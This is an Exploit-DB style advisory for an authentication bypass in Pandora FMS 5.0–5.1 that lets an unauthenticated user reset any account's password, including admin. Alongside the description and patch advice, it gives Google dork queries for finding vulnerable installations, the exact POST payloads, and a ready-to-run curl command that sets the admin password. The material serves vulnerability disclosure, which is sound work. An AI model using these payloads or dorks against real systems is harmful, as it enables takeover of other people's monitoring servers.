Authentication Bypass in Pandora FMS

vendor:

Pandora FMS

by:

Manuel Mancera (sinkmanu)

7.5

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: Pandora FMS

Affected Version From: 5

Affected Version To: 5.1

Patch Exists: YES

Related CWE: N/A

CPE: pandorafms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2015

Authentication Bypass in Pandora FMS

A vulnerability has been discovered in Pandora FMS that permits an unautheticated user to change the password for any Pandora user without knowing the actual user password. The vulnerability occurs at the login screen due to the session not being checked before the password is changed.

Mitigation:

Apply the latest patches available at the vendor website.

Source

Exploit-DB raw data:

# Exploit Title: Authentication Bypass in Pandora FMS
# Google Dork:
	intitle:"Pandora FMS - The Flexible Monitoring System"
	intitle:"Pandora FMS - el Sistema Flexible de Monitorización"
# Date: 10/06/2015
# Exploit Author: Manuel Mancera (sinkmanu)    |    mmancera (at) a2secure (dot) com
# Vendor Homepage: http://pandorafms.com/ <http://pandorafms.com/>
# Software Link: http://pandorafms.com/ <http://pandorafms.com/>
# Version: 5.0, 5.1
# Vulnerability Type : Authentication Bypass
# Severity : High


### Description ###

A vulnerability has been discovered in Pandora FMS that permits an unautheticated user to change the password for any Pandora user without knowing the actual user password. The vulnerability occurs at the login screen due to the session not being checked before the password is changed.


### Proof of Concept ###

URL: /index.php
Method: POST
Payload: renew_password=1&login=admin
Payload2:
renew_password=1&login=admin&password_new=newpass&password_confirm=newpass


### Exploit ###

curl -d
"renew_password=1&login=admin&password_new=newpass&password_confirm=newpass"
http://localhost/index.php <http://localhost/index.php>


### Solution ###

Apply the latest patches available at the vendor website.



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